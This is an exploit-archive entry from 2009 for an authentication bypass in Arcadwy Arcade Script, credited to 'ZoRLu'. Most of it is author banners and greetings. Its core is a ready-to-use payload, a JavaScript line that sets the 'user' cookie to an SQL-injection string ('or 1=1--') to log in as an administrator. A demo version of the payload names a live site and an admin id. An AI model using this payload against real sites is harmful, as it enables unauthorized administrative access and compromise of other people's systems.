Arcadwy Arcade Script (Auth Bypass) Insecure Cookie Handling Vuln

[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]

# Title : Arcadwy Arcade Script (Auth Bypass) Insecure Cookie Handling Vuln
# Published : 2009-03-29
# Author : ZoRLu
# Previous Title : glFusion <= 1.1.2 COM_applyFilter()/order SQL Injection Exploit
# Next Title : iWare CMS 5.0.4 Multiple Remote SQL Injection Vulnerabilities

[~] Arcadwy Arcade Script (for ByPass) Insecure Cookie Handling Vulnerability 
[~]
[~] ----------------------------------------------------------
[~] Discovered By: ZoRLu
[~]
[~] Date: 29.03.2009
[~]
[~] Home: yildirimordulari.com / experl.com / z0rlu.blogspot.com / woltaj.org
[~]
[~] contact: trt-turk@hotmail.com
[~] 
[~] N0T: BasImIz Sagolsun, Muhsin YazIcIoglu Ulkemiz ve Ulkumuz icin Buyuk Kay??p Allah Rahmet Eylesin :((
[~]
[~] N0T: Herkes Hecker Olmus :S
[~]
[~] N0T: My New Target Buffer Overflow :) There is a little time xD
[~]
[~] -----------------------------------------------------------

Demo:

http://games.arcadwy.com/

Exploit:

javascript:document.cookie = "user=[admin_id],' or ' 1=1--; path=/";

Exploit for demo:

javascript:document.cookie = "user=1,' or ' 1=1--; path=/";

[~]----------------------------------------------------------------------
[~] Greetz tO: str0ke & DrLy0N & w0cker & Cyber-Zone
[~]
[~] yildirimordulari.com / experl.com / z0rlu.blogspot.com / woltaj.org
[~]
[~]----------------------------------------------------------------------

# www.Syue.com [2009-03-29]